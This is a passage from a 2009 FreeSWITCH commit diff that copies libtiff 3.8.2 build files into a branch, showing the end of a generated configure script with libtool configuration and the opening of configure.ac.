+   { (exit 1); exit 1; }; }; }
+
+    # echo "creating $dirpart/$file"
+    echo '# dummy' > "$dirpart/$file"
+  done
+done
+ ;;
+    libtool )
+
+    # See if we are running on zsh, and set the options which allow our
+    # commands through without removal of \ escapes.
+    if test -n "${ZSH_VERSION+set}" ; then
+      setopt NO_GLOB_SUBST
+    fi
+
+    cfgfile="${ofile}T"
+    trap "$RM \"$cfgfile\"; exit 1" 1 2 15
+    $RM "$cfgfile"
+
+    cat <<_LT_EOF >> "$cfgfile"
+#! $SHELL
+
+# `$ECHO "$ofile" | sed 's%^.*/%%'` - Provide generalized library-building support services.
+# Generated automatically by $as_me (GNU $PACKAGE$TIMESTAMP) $VERSION
+# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
+# NOTE: Changes made to this file will be lost: look at ltmain.sh.
+#
+# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+# 2006 Free Software Foundation, Inc.
+#
+# This file is part of GNU Libtool:
+# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+#
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+# TEST SUITE MARKER ## BEGIN SOURCABLE
+
+# The names of the tagged configurations supported by this script.
+available_tags="CXX "
+
+# ### BEGIN LIBTOOL CONFIG
+
+# Which release of libtool.m4 was used?
+macro_version=$macro_version
+macro_revision=$macro_revision
+
+# Whether or not to build shared libraries.
+build_libtool_libs=$enable_shared
+
+# Whether or not to build static libraries.
+build_old_libs=$enable_static
+
+# What type of objects to build.
+pic_mode=$pic_mode
+
+# Whether or not to optimize for fast installation.
+fast_install=$enable_fast_install
+
+# The host system.
+host_alias=$host_alias
+host=$host
+host_os=$host_os
+
+# The build system.
+build_alias=$build_alias
+build=$build
+build_os=$build_os
+
+# A sed program that does not truncate output.
+SED=$lt_SED
+
+# Sed that helps us avoid accidentally triggering echo(1) options like -n.
+Xsed="\$SED -e 1s/^X//"
+
+# A grep program that handles long lines.
+GREP=$lt_GREP
+
+# An ERE matcher.
+EGREP=$lt_EGREP
+
+# A literal string matcher.
+FGREP=$lt_FGREP
+
+# A BSD- or MS-compatible name lister.
+NM=$lt_NM
+
+# Whether we need soft or hard links.
+LN_S=$lt_LN_S
+
+# What is the maximum length of a command?
+max_cmd_len=$max_cmd_len
+
+# Object file suffix (normally "o").
+objext=$ac_objext
+
+# Executable file suffix (normally "").
+exeext=$exeext
+
+# How to create reloadable object files.
+reload_flag=$lt_reload_flag
+reload_cmds=$lt_reload_cmds
+
+# Method to check whether dependent libraries are shared objects.
+deplibs_check_method=$lt_deplibs_check_method
+
+# Command to use when deplibs_check_method == "file_magic".
+file_magic_cmd=$lt_file_magic_cmd
+
+# The archiver.
+AR=$lt_AR
+AR_FLAGS=$lt_AR_FLAGS
+
+# A symbol stripping program.
+STRIP=$lt_STRIP
+
+# Commands used to install an old-style archive.
+RANLIB=$lt_RANLIB
+old_postinstall_cmds=$lt_old_postinstall_cmds
+old_postuninstall_cmds=$lt_old_postuninstall_cmds
+
+# A C compiler.
+LTCC=$lt_CC
+
+# LTCC compiler flags.
+LTCFLAGS=$lt_CFLAGS
+
+# Take the output of nm and produce a listing of raw symbols and C names.
+global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
+
+# Transform the output of nm in a proper C declaration.
+global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
+
+# Transform the output of nm in a C name address pair.
+global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+
+# The name of the directory that contains temporary libtool files.
+objdir=$objdir
+
+# Shell to use when invoking shell scripts.
+SHELL=$lt_SHELL
+
+# An echo program that does not interpret backslashes.
+ECHO=$lt_ECHO
+
+# Used to examine libraries when file_magic_cmd begins with "file".
+MAGIC_CMD=$MAGIC_CMD
+
+# Must we lock files when doing compilation?
+need_locks=$lt_need_locks
+
+# Old archive suffix (normally "a").
+libext=$libext
+
+# Shared library suffix (normally ".so").
+shrext_cmds=$lt_shrext_cmds
+
+# The commands to extract the exported symbol list from a shared archive.
+extract_expsyms_cmds=$lt_extract_expsyms_cmds
+
+# Variables whose values should be saved in libtool wrapper scripts and
+# restored at link time.
+variables_saved_for_relink=$lt_variables_saved_for_relink
+
+# Do we need the "lib" prefix for modules?
+need_lib_prefix=$need_lib_prefix
+
+# Do we need a version for libraries?
+need_version=$need_version
+
+# Library versioning type.
+version_type=$version_type
+
+# Shared library runtime path variable.
+runpath_var=$runpath_var
+
+# Shared library path variable.
+shlibpath_var=$shlibpath_var
+
+# Is shlibpath searched before the hard-coded library search path?
+shlibpath_overrides_runpath=$shlibpath_overrides_runpath
+
+# Format of library name prefix.
+libname_spec=$lt_libname_spec
+
+# List of archive names.  First name is the real one, the rest are links.
+# The last name is the one that the linker finds with -lNAME
+library_names_spec=$lt_library_names_spec
+
+# The coded name of the library, if different from the real name.
+soname_spec=$lt_soname_spec
+
+# Command to use after installation of a shared archive.
+postinstall_cmds=$lt_postinstall_cmds
+
+# Command to use after uninstallation of a shared archive.
+postuninstall_cmds=$lt_postuninstall_cmds
+
+# Commands used to finish a libtool library installation in a directory.
+finish_cmds=$lt_finish_cmds
+
+# As "finish_cmds", except a single script fragment to be evaled but
+# not shown.
+finish_eval=$lt_finish_eval
+
+# Whether we should hardcode library paths into libraries.
+hardcode_into_libs=$hardcode_into_libs
+
+# Compile-time system search path for libraries.
+sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
+
+# Run-time system search path for libraries.
+sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
+
+# Whether dlopen is supported.
+dlopen_support=$enable_dlopen
+
+# Whether dlopen of programs is supported.
+dlopen_self=$enable_dlopen_self
+
+# Whether dlopen of statically linked programs is supported.
+dlopen_self_static=$enable_dlopen_self_static
+
+# Commands to strip libraries.
+old_striplib=$lt_old_striplib
+striplib=$lt_striplib
+
+# Assembler program.
+AS=$AS
+
+# DLL creation program.
+DLLTOOL=$DLLTOOL
+
+# Object dumper program.
+OBJDUMP=$OBJDUMP
+
+
+# The linker used to build libraries.
+LD=$lt_LD
+
+# Commands used to build an old-style archive.
+old_archive_cmds=$lt_old_archive_cmds
+
+# A language specific compiler.
+CC=$lt_compiler
+
+# Is the compiler the GNU compiler?
+with_gcc=$GCC
+
+# Compiler flag to turn off builtin functions.
+no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+# How to pass a linker flag through the compiler.
+wl=$lt_lt_prog_compiler_wl
+
+# Additional compiler flags for building library objects.
+pic_flag=$lt_lt_prog_compiler_pic
+
+# Compiler flag to prevent dynamic linking.
+link_static_flag=$lt_lt_prog_compiler_static
+
+# Does compiler simultaneously support -c and -o options?
+compiler_c_o=$lt_lt_cv_prog_compiler_c_o
+
+# Whether or not to add -lc for building shared libraries.
+build_libtool_need_lc=$archive_cmds_need_lc
+
+# Whether or not to disallow shared libs when runtime libs are static.
+allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes
+
+# Compiler flag to allow reflexive dlopens.
+export_dynamic_flag_spec=$lt_export_dynamic_flag_spec
+
+# Compiler flag to generate shared objects directly from archives.
+whole_archive_flag_spec=$lt_whole_archive_flag_spec
+
+# Create an old-style archive from a shared archive.
+old_archive_from_new_cmds=$lt_old_archive_from_new_cmds
+
+# Create a temporary old-style archive to link instead of a shared archive.
+old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds
+
+# Commands used to build a shared archive.
+archive_cmds=$lt_archive_cmds
+archive_expsym_cmds=$lt_archive_expsym_cmds
+
+# Commands used to build a loadable module if different from building
+# a shared archive.
+module_cmds=$lt_module_cmds
+module_expsym_cmds=$lt_module_expsym_cmds
+
+# Whether we are building with GNU ld or not.
+with_gnu_ld=$lt_with_gnu_ld
+
+# Flag that allows shared libraries with undefined symbols to be built.
+allow_undefined_flag=$lt_allow_undefined_flag
+
+# Flag that enforces no undefined symbols.
+no_undefined_flag=$lt_no_undefined_flag
+
+# Flag to hardcode \$libdir into a binary during linking.
+# This must work even if \$libdir does not exist
+hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec
+
+# If ld is used when linking, flag to hardcode \$libdir into a binary
+# during linking.  This must work even if \$libdir does not exist.
+hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld
+
+# Whether we need a single "-rpath" flag with a separated argument.
+hardcode_libdir_separator=$lt_hardcode_libdir_separator
+
+# Set to "yes" if using DIR/libNAME\${shared_ext} during linking hardcodes
+# DIR into the resulting binary.
+hardcode_direct=$hardcode_direct
+
+# Set to "yes" if using the -LDIR flag during linking hardcodes DIR
+# into the resulting binary.
+hardcode_minus_L=$hardcode_minus_L
+
+# Set to "yes" if using SHLIBPATH_VAR=DIR during linking hardcodes DIR
+# into the resulting binary.
+hardcode_shlibpath_var=$hardcode_shlibpath_var
+
+# Set to "yes" if building a shared library automatically hardcodes DIR
+# into the library and all subsequent libraries and executables linked
+# against it.
+hardcode_automatic=$hardcode_automatic
+
+# Set to yes if linker adds runtime paths of dependent libraries
+# to runtime path list.
+inherit_rpath=$inherit_rpath
+
+# Whether libtool must link a program against all its dependency libraries.
+link_all_deplibs=$link_all_deplibs
+
+# Fix the shell variable \$srcfile for the compiler.
+fix_srcfile_path=$lt_fix_srcfile_path
+
+# Set to "yes" if exported symbols are required.
+always_export_symbols=$always_export_symbols
+
+# The commands to list exported symbols.
+export_symbols_cmds=$lt_export_symbols_cmds
+
+# Symbols that should not be listed in the preloaded symbols.
+exclude_expsyms=$lt_exclude_expsyms
+
+# Symbols that must always be exported.
+include_expsyms=$lt_include_expsyms
+
+# Commands necessary for linking programs (against libraries) with templates.
+prelink_cmds=$lt_prelink_cmds
+
+# Specify filename containing input files.
+file_list_spec=$lt_file_list_spec
+
+# How to hardcode a shared library path into an executable.
+hardcode_action=$hardcode_action
+
+# Dependencies to place before and after the objects being linked to
+# create a shared library.
+predep_objects=$lt_predep_objects
+postdep_objects=$lt_postdep_objects
+predeps=$lt_predeps
+postdeps=$lt_postdeps
+
+# The library search path used internally by the compiler when linking
+# a shared library.
+compiler_lib_search_path=$lt_compiler_lib_search_path
+
+# ### END LIBTOOL CONFIG
+
+# The HP-UX ksh and POSIX shell print the target directory to stdout
+# if CDPATH is set.
+(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
+
+_LT_EOF
+
+  case $host_os in
+  aix3*)
+    cat <<\_LT_EOF >> "$cfgfile"
+# AIX sometimes has problems with the GCC collect2 program.  For some
+# reason, if we set the COLLECT_NAMES environment variable, the problems
+# vanish in a puff of smoke.
+if test "X${COLLECT_NAMES+set}" != Xset; then
+  COLLECT_NAMES=
+  export COLLECT_NAMES
+fi
+_LT_EOF
+    ;;
+  esac
+
+
+ltmain="$ac_aux_dir/ltmain.sh"
+
+
+  # We use sed instead of cat because bash on DJGPP gets confused if
+  # if finds mixed CR/LF and LF-only lines.  Since sed operates in
+  # text mode, it properly converts lines to CR/LF.  This bash problem
+  # is reportedly fixed, but why not run on old versions too?
+  sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+    || (rm -f "$cfgfile"; exit 1)
+
+  case $xsi_shell in
+  yes)
+    cat << \_LT_EOF >> "$cfgfile"
+# func_dirname file append nondir_replacement
+# Compute the dirname of FILE.  If nonempty, add APPEND to the result,
+# otherwise set result to NONDIR_REPLACEMENT.
+func_dirname ()
+{
+  case ${1} in
+    */*) func_dirname_result="${1%/*}${2}" ;;
+    *  ) func_dirname_result="${3}" ;;
+  esac
+}
+
+# func_basename file
+func_basename ()
+{
+  func_basename_result="${1##*/}"
+}
+
+# func_stripname prefix suffix name
+# strip PREFIX and SUFFIX off of NAME.
+# PREFIX and SUFFIX must not contain globbing or regex special
+# characters, hashes, percent signs, but SUFFIX may contain a leading
+# dot (in which case that matches only a dot).
+func_stripname ()
+{
+  # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+  # positional parameters, so assign one to ordinary parameter first.
+  func_stripname_result=${3}
+  func_stripname_result=${func_stripname_result#"${1}"}
+  func_stripname_result=${func_stripname_result%"${2}"}
+}
+_LT_EOF
+    ;;
+  *) # Bourne compatible functions.
+    cat << \_LT_EOF >> "$cfgfile"
+# func_dirname file append nondir_replacement
+# Compute the dirname of FILE.  If nonempty, add APPEND to the result,
+# otherwise set result to NONDIR_REPLACEMENT.
+func_dirname ()
+{
+  # Extract subdirectory from the argument.
+  func_dirname_result=`$ECHO "X${1}" | $Xsed -e "$dirname"`
+  if test "X$func_dirname_result" = "X${1}"; then
+    func_dirname_result="${3}"
+  else
+    func_dirname_result="$func_dirname_result${2}"
+  fi
+}
+
+# func_basename file
+func_basename ()
+{
+  func_basename_result=`$ECHO "X${1}" | $Xsed -e "$basename"`
+}
+
+# func_stripname prefix suffix name
+# strip PREFIX and SUFFIX off of NAME.
+# PREFIX and SUFFIX must not contain globbing or regex special
+# characters, hashes, percent signs, but SUFFIX may contain a leading
+# dot (in which case that matches only a dot).
+# func_strip_suffix prefix name
+func_stripname ()
+{
+  case ${2} in
+    .*) func_stripname_result=`$ECHO "X${3}" \
+           | $Xsed -e "s%^${1}%%" -e "s%\\\\${2}\$%%"`;;
+    *)  func_stripname_result=`$ECHO "X${3}" \
+           | $Xsed -e "s%^${1}%%" -e "s%${2}\$%%"`;;
+  esac
+}
+_LT_EOF
+esac
+
+
+  sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+    || (rm -f "$cfgfile"; exit 1)
+
+  mv -f "$cfgfile" "$ofile" ||
+    (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+  chmod +x "$ofile"
+
+
+    cat <<_LT_EOF >> "$ofile"
+
+# ### BEGIN LIBTOOL TAG CONFIG: CXX
+
+# The linker used to build libraries.
+LD=$lt_LD_CXX
+
+# Commands used to build an old-style archive.
+old_archive_cmds=$lt_old_archive_cmds_CXX
+
+# A language specific compiler.
+CC=$lt_compiler_CXX
+
+# Is the compiler the GNU compiler?
+with_gcc=$GCC_CXX
+
+# Compiler flag to turn off builtin functions.
+no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX
+
+# How to pass a linker flag through the compiler.
+wl=$lt_lt_prog_compiler_wl_CXX
+
+# Additional compiler flags for building library objects.
+pic_flag=$lt_lt_prog_compiler_pic_CXX
+
+# Compiler flag to prevent dynamic linking.
+link_static_flag=$lt_lt_prog_compiler_static_CXX
+
+# Does compiler simultaneously support -c and -o options?
+compiler_c_o=$lt_lt_cv_prog_compiler_c_o_CXX
+
+# Whether or not to add -lc for building shared libraries.
+build_libtool_need_lc=$archive_cmds_need_lc_CXX
+
+# Whether or not to disallow shared libs when runtime libs are static.
+allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_CXX
+
+# Compiler flag to allow reflexive dlopens.
+export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_CXX
+
+# Compiler flag to generate shared objects directly from archives.
+whole_archive_flag_spec=$lt_whole_archive_flag_spec_CXX
+
+# Create an old-style archive from a shared archive.
+old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_CXX
+
+# Create a temporary old-style archive to link instead of a shared archive.
+old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_CXX
+
+# Commands used to build a shared archive.
+archive_cmds=$lt_archive_cmds_CXX
+archive_expsym_cmds=$lt_archive_expsym_cmds_CXX
+
+# Commands used to build a loadable module if different from building
+# a shared archive.
+module_cmds=$lt_module_cmds_CXX
+module_expsym_cmds=$lt_module_expsym_cmds_CXX
+
+# Whether we are building with GNU ld or not.
+with_gnu_ld=$lt_with_gnu_ld_CXX
+
+# Flag that allows shared libraries with undefined symbols to be built.
+allow_undefined_flag=$lt_allow_undefined_flag_CXX
+
+# Flag that enforces no undefined symbols.
+no_undefined_flag=$lt_no_undefined_flag_CXX
+
+# Flag to hardcode \$libdir into a binary during linking.
+# This must work even if \$libdir does not exist
+hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_CXX
+
+# If ld is used when linking, flag to hardcode \$libdir into a binary
+# during linking.  This must work even if \$libdir does not exist.
+hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_CXX
+
+# Whether we need a single "-rpath" flag with a separated argument.
+hardcode_libdir_separator=$lt_hardcode_libdir_separator_CXX
+
+# Set to "yes" if using DIR/libNAME\${shared_ext} during linking hardcodes
+# DIR into the resulting binary.
+hardcode_direct=$hardcode_direct_CXX
+
+# Set to "yes" if using the -LDIR flag during linking hardcodes DIR
+# into the resulting binary.
+hardcode_minus_L=$hardcode_minus_L_CXX
+
+# Set to "yes" if using SHLIBPATH_VAR=DIR during linking hardcodes DIR
+# into the resulting binary.
+hardcode_shlibpath_var=$hardcode_shlibpath_var_CXX
+
+# Set to "yes" if building a shared library automatically hardcodes DIR
+# into the library and all subsequent libraries and executables linked
+# against it.
+hardcode_automatic=$hardcode_automatic_CXX
+
+# Set to yes if linker adds runtime paths of dependent libraries
+# to runtime path list.
+inherit_rpath=$inherit_rpath_CXX
+
+# Whether libtool must link a program against all its dependency libraries.
+link_all_deplibs=$link_all_deplibs_CXX
+
+# Fix the shell variable \$srcfile for the compiler.
+fix_srcfile_path=$lt_fix_srcfile_path_CXX
+
+# Set to "yes" if exported symbols are required.
+always_export_symbols=$always_export_symbols_CXX
+
+# The commands to list exported symbols.
+export_symbols_cmds=$lt_export_symbols_cmds_CXX
+
+# Symbols that should not be listed in the preloaded symbols.
+exclude_expsyms=$lt_exclude_expsyms_CXX
+
+# Symbols that must always be exported.
+include_expsyms=$lt_include_expsyms_CXX
+
+# Commands necessary for linking programs (against libraries) with templates.
+prelink_cmds=$lt_prelink_cmds_CXX
+
+# Specify filename containing input files.
+file_list_spec=$lt_file_list_spec_CXX
+
+# How to hardcode a shared library path into an executable.
+hardcode_action=$hardcode_action_CXX
+
+# Dependencies to place before and after the objects being linked to
+# create a shared library.
+predep_objects=$lt_predep_objects_CXX
+postdep_objects=$lt_postdep_objects_CXX
+predeps=$lt_predeps_CXX
+postdeps=$lt_postdeps_CXX
+
+# The library search path used internally by the compiler when linking
+# a shared library.
+compiler_lib_search_path=$lt_compiler_lib_search_path_CXX
+
+# ### END LIBTOOL TAG CONFIG: CXX
+_LT_EOF
+
+ ;;
+  esac
+done
+_ACEOF
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+{ (exit 0); exit 0; }
+_ACEOF
+chmod +x $CONFIG_STATUS
+ac_clean_files=$ac_clean_files_save
+
+
+# configure is writing to config.log, and then calls config.status.
+# config.status does its own redirection, appending to config.log.
+# Unfortunately, on DOS this fails, as config.log is still kept open
+# by configure, so config.status won't be able to write to it; its
+# output is simply discarded.  So we exec the FD to /dev/null,
+# effectively closing config.log, so it can be properly (re)opened and
+# appended to by config.status.  When coming back to configure, we
+# need to make the FD available again.
+if test "$no_create" != yes; then
+  ac_cs_success=:
+  ac_config_status_args=
+  test "$silent" = yes &&
+    ac_config_status_args="$ac_config_status_args --quiet"
+  exec 5>/dev/null
+  $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false
+  exec 5>>config.log
+  # Use ||, not &&, to avoid exiting from the if with $? = 1, which
+  # would make configure fail if this is the last instruction.
+  $ac_cs_success || { (exit 1); exit 1; }
+fi
+
+
+
+echo ""
+echo "Libtiff is now configured for ${host}"
+echo ""
+echo "  Installation directory:             ${prefix}"
+echo "  Documentation directory:            ${LIBTIFF_DOCDIR}"
+echo "  C compiler:                         ${CC} ${CFLAGS}"
+echo "  C++ compiler:                       ${CXX} ${CXXFLAGS}"
+echo "  Enable runtime linker paths:        ${HAVE_RPATH}"
+echo "  Support Microsoft Document Imaging: ${HAVE_MDI}"
+echo ""
+echo " Support for internal codecs:"
+echo "  CCITT Group 3 & 4 algorithms:       ${HAVE_CCITT}"
+echo "  Macintosh PackBits algorithm:       ${HAVE_PACKBITS}"
+echo "  LZW algorithm:                      ${HAVE_LZW}"
+echo "  ThunderScan 4-bit RLE algorithm:    ${HAVE_THUNDER}"
+echo "  NeXT 2-bit RLE algorithm:           ${HAVE_NEXT}"
+echo "  LogLuv high dynamic range encoding: ${HAVE_LOGLUV}"
+echo ""
+echo " Support for external codecs:"
+echo "  ZLIB support:                       ${HAVE_ZLIB}"
+echo "  Pixar log-format algorithm:         ${HAVE_PIXARLOG}"
+echo "  JPEG support:                       ${HAVE_JPEG}"
+echo "  Old JPEG support:                   ${HAVE_OJPEG}"
+echo ""
+echo "  C++ support:                        ${HAVE_CXX}"
+echo ""
+echo "  OpenGL support:                     ${HAVE_OPENGL}"
+echo ""
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/configure.ac

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/configure.ac (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/configure.ac) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/configure.ac	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/configure.ac	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,568 @@
+dnl                                               -*- Autoconf -*-
+dnl Tag Image File Format (TIFF) Software
+dnl
+dnl Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this software and 
+dnl its documentation for any purpose is hereby granted without fee, provided
+dnl that (i) the above copyright notices and this permission notice appear in
+dnl all copies of the software and related documentation, and (ii) the names of
+dnl Sam Leffler and Silicon Graphics may not be used in any advertising or
+dnl publicity relating to the software without the specific, prior written
+dnl permission of Sam Leffler and Silicon Graphics.
+dnl 
+dnl THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+dnl EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+dnl WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+dnl 
+dnl IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+dnl ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+dnl OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+dnl WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+dnl LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+dnl OF THIS SOFTWARE.
+
+dnl Process this file with autoconf to produce a configure script.
+
+AC_PREREQ(2.59)
+AC_INIT([LibTIFF Software], 3.8.2, [tiff@lists.maptools.org], tiff)
+AC_CONFIG_AUX_DIR(config)
+AC_CONFIG_MACRO_DIR(m4)
+AC_LANG(C)
+
+dnl Compute the canonical target-system type variable
+AC_CANONICAL_TARGET
+
+AM_INIT_AUTOMAKE
+dnl Do not rebuild generated files every time
+AM_MAINTAINER_MODE
+
+dnl Versioning.
+dnl Don't fill the ALPHA_VERSION field, if not applicable.
+LIBTIFF_MAJOR_VERSION=3
+LIBTIFF_MINOR_VERSION=8
+LIBTIFF_MICRO_VERSION=2
+LIBTIFF_ALPHA_VERSION=
+LIBTIFF_VERSION=$LIBTIFF_MAJOR_VERSION.$LIBTIFF_MINOR_VERSION.$LIBTIFF_MICRO_VERSION$LIBTIFF_ALPHA_VERSION
+dnl This will be used with the 'make release' target
+LIBTIFF_RELEASE_DATE=`date +"%Y%m%d"`
+
+# This is a special hack for OpenBSD and MirOS systems. The dynamic linker
+# in OpenBSD uses some special semantics for shared libraries. Their soname
+# contains only two numbers, major and minor.
+# See http://bugzilla.remotesensing.org/show_bug.cgi?id=838 for details.
+case "$target_os" in
+    openbsd* | mirbsd*)
+	LIBTIFF_VERSION_INFO=$LIBTIFF_MAJOR_VERSION$LIBTIFF_MINOR_VERSION:$LIBTIFF_MICRO_VERSION$LIBTIFF_ALPHA_VERSION:0
+	;;
+    *)
+	LIBTIFF_VERSION_INFO=$LIBTIFF_MAJOR_VERSION:$LIBTIFF_MINOR_VERSION:$LIBTIFF_MICRO_VERSION$LIBTIFF_ALPHA_VERSION
+	;;
+esac
+
+AC_SUBST(LIBTIFF_MAJOR_VERSION)
+AC_SUBST(LIBTIFF_MINOR_VERSION)
+AC_SUBST(LIBTIFF_MICRO_VERSION)
+AC_SUBST(LIBTIFF_ALPHA_VERSION)
+AC_SUBST(LIBTIFF_VERSION)
+AC_SUBST(LIBTIFF_VERSION_INFO)
+AC_SUBST(LIBTIFF_RELEASE_DATE)
+
+dnl Checks for programs.
+AC_PROG_CC
+AM_PROG_CC_C_O
+
+dnl We want warnings. As many warnings as possible.
+VL_PROG_CC_WARNINGS()
+
+AC_PROG_INSTALL
+AC_PROG_LN_S
+AC_PROG_LIBTOOL
+AC_LIBTOOL_WIN32_DLL
+
+dnl Checks for libraries.
+AC_CHECK_LIB([c], [main])
+
+dnl We don't need to add math library at all targets
+case "$target_os" in
+    cygwin* | mingw32* | beos* | darwin*)
+        ;;
+    *)
+	AC_CHECK_LIB(m,main,,,)
+        ;;
+esac
+
+dnl Checks for header files.
+AC_CHECK_HEADERS([assert.h fcntl.h limits.h malloc.h search.h sys/time.h unistd.h])
+
+dnl Checks for typedefs, structures, and compiler characteristics.
+AC_C_CONST
+AC_C_INLINE
+AC_C_BIGENDIAN
+AC_TYPE_OFF_T
+AC_TYPE_SIZE_T
+AC_CHECK_SIZEOF(int)
+AC_CHECK_SIZEOF(long)
+AC_HEADER_TIME
+AC_STRUCT_TM
+dnl Some compilers (IBM VisualAge) has these types defined, so check it here:
+AC_CHECK_TYPES([int8, int16, int32],,,
+[
+#if HAVE_INTTYPES_H
+# include <inttypes.h>
+#endif
+])
+
+dnl Checks for library functions.
+AC_CHECK_FUNCS([floor isascii memmove memset mmap pow sqrt strchr strrchr strstr strtol])
+
+dnl Will use local replacements for unavailable functions
+AC_REPLACE_FUNCS(getopt)
+AC_REPLACE_FUNCS(strcasecmp)
+AC_REPLACE_FUNCS(strtoul)
+AC_REPLACE_FUNCS(lfind)
+
+dnl ---------------------------------------------------------------------------
+dnl Check the native cpu bit order.
+dnl ---------------------------------------------------------------------------
+AC_MSG_CHECKING([native cpu bit order])
+case "$target_cpu" in
+    i*86*)
+        HOST_FILLORDER=FILLORDER_LSB2MSB
+	AC_MSG_RESULT([lsb2msb])
+	;;
+    *)
+	HOST_FILLORDER=FILLORDER_MSB2LSB
+	AC_MSG_RESULT([msb2lsb])
+        ;;
+esac
+AC_DEFINE_UNQUOTED(HOST_FILLORDER, $HOST_FILLORDER, [Set the native cpu bit order (FILLORDER_LSB2MSB or FILLORDER_MSB2LSB)])
+
+dnl ---------------------------------------------------------------------------
+dnl Configure legacy tifconf.h HOST_BIGENDIAN.
+dnl ---------------------------------------------------------------------------
+if test "$ac_cv_c_bigendian" = yes ; then
+    HOST_BIGENDIAN=1
+else
+    HOST_BIGENDIAN=0
+fi
+AC_DEFINE_UNQUOTED(HOST_BIGENDIAN,$HOST_BIGENDIAN,[Native cpu byte order: 1 if big-endian (Motorola) or 0 if little-endian (Intel)])
+
+dnl ---------------------------------------------------------------------------
+dnl Make the POSIX.2 features available.
+dnl ---------------------------------------------------------------------------
+#_POSIX_C_SOURCE=2
+#AC_DEFINE_UNQUOTED(_POSIX_C_SOURCE, $_POSIX_C_SOURCE, [Define this macro to a positive integer to control which POSIX functionality is made available.])
+
+dnl ---------------------------------------------------------------------------
+dnl Set the floating point format.
+dnl FIXME: write appropriate test.
+dnl ---------------------------------------------------------------------------
+HAVE_IEEEFP=1
+AC_DEFINE_UNQUOTED(HAVE_IEEEFP, $HAVE_IEEEFP, [Define as 0 or 1 according to the floating point format suported by the machine])
+
+dnl ---------------------------------------------------------------------------
+dnl Enable run-time paths to libraries usage.
+dnl ---------------------------------------------------------------------------
+
+AC_ARG_ENABLE(rpath,
+	      AS_HELP_STRING([--enable-rpath],
+			     [Enable runtime linker paths (-R libtool option)]),
+	      [HAVE_RPATH=$enableval], [HAVE_RPATH=no])
+AM_CONDITIONAL(HAVE_RPATH, test "$HAVE_RPATH" = "yes")
+
+dnl ---------------------------------------------------------------------------
+dnl Support large files.
+dnl ---------------------------------------------------------------------------
+
+AC_SYS_LARGEFILE
+
+dnl ---------------------------------------------------------------------------
+dnl Point to path where we should install documentation.
+dnl ---------------------------------------------------------------------------
+
+LIBTIFF_DOCDIR=\${prefix}/share/doc/${PACKAGE}-${LIBTIFF_VERSION}
+
+AC_ARG_WITH(docdir,
+	    AS_HELP_STRING([--with-docdir=DIR],
+			   [directory where documentation should be installed]),,)
+if test "x$with_docdir" != "x" ; then
+  LIBTIFF_DOCDIR=$with_docdir
+fi
+ 
+AC_SUBST(LIBTIFF_DOCDIR)
+
+dnl ---------------------------------------------------------------------------
+dnl Switch on/off internal codecs.
+dnl ---------------------------------------------------------------------------
+
+AC_ARG_ENABLE(ccitt,
+	      AS_HELP_STRING([--disable-ccitt],
+			     [disable support for CCITT Group 3 & 4 algorithms]),
